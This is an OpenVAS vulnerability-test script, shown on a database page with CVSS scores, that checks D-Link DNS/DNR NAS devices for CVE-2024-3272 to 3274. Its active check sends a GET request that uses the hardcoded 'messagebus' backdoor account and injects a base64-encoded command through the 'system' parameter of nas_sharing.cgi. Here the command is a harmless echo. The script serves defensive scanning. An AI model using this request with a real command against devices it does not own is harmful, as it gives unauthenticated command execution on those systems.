Lucene search

K
openvasCopyright (C) 2024 Greenbone AGOPENVAS:1361412562310152068
HistoryApr 09, 2024 - 12:00 a.m.

D-Link DNS/DNR Devices Multiple Vulnerabilities (SAP10383) - Active Check

2024-04-0900:00:00
Copyright (C) 2024 Greenbone AG
plugins.openvas.org
9
d-link
dns
dnr
vulnerabilities
backdoor
command injection
information disclosure
active check
http
cve-2024-3272
cve-2024-3273
cve-2024-3274

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.2 High

AI Score

Confidence

Low

0.935 High

EPSS

Percentile

99.1%

Multiple D-Link DNS and DNR devices are prone to multiple
vulnerabilities.

# SPDX-FileCopyrightText: 2024 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE_PREFIX = "cpe:/o:dlink:dns";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.152068");
  script_version("2024-04-16T05:05:31+0000");
  script_tag(name:"last_modification", value:"2024-04-16 05:05:31 +0000 (Tue, 16 Apr 2024)");
  script_tag(name:"creation_date", value:"2024-04-09 07:53:09 +0000 (Tue, 09 Apr 2024)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2024-04-15 20:13:57 +0000 (Mon, 15 Apr 2024)");

  script_cve_id("CVE-2024-3272", "CVE-2024-3273", "CVE-2024-3274");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("D-Link DNS/DNR Devices Multiple Vulnerabilities (SAP10383) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2024 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dlink_dns_http_detect.nasl");
  script_mandatory_keys("d-link/dns/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Multiple D-Link DNS and DNR devices are prone to multiple
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET requests and checks the response.");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  - CVE-2024-3272: Backdoor through username and password exposure

  - CVE-2024-3273: Command injection through the system parameter

  - CVE-2024-3274: Information disclosure through unauthenticated CGI script access");

  script_tag(name:"affected", value:"Various D-Link DNS and DNR devices. Please see the vendor
  advisory for a full list of affected devices.");

  script_tag(name:"solution", value:"No solution was made available by the vendor. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.

  The vendor states that the affected devices are EoL and recommends to immediately retire and
  replace such devices.");

  script_xref(name:"URL", value:"https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383");
  script_xref(name:"URL", value:"https://github.com/netsecfish/dlink");
  script_xref(name:"URL", value:"https://github.com/netsecfish/info_cgi");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
  exit(0);

cpe = infos["cpe"];
port = infos["port"];

if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
  exit(0);

vt_strings = get_vt_strings();
pattern = vt_strings["default_rand"];
payload = raw_string("echo", 0x09, pattern); # Needs a tab (0x09) to succeed.
enc_payload = base64(str: payload);

url = "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=" + enc_payload;

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if (egrep(pattern: pattern, string: res)) {
  report = "It was possible to use the backdoor account to execute the command 'echo " + pattern +
           "' via " + http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + chomp(res);
  security_message(port: port, data: report);
  exit(0);
}

exit(0); # nb: nas_sharing.cgi seems to be not always accessible. Maybe needs some special config.

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.2 High

AI Score

Confidence

Low

0.935 High

EPSS

Percentile

99.1%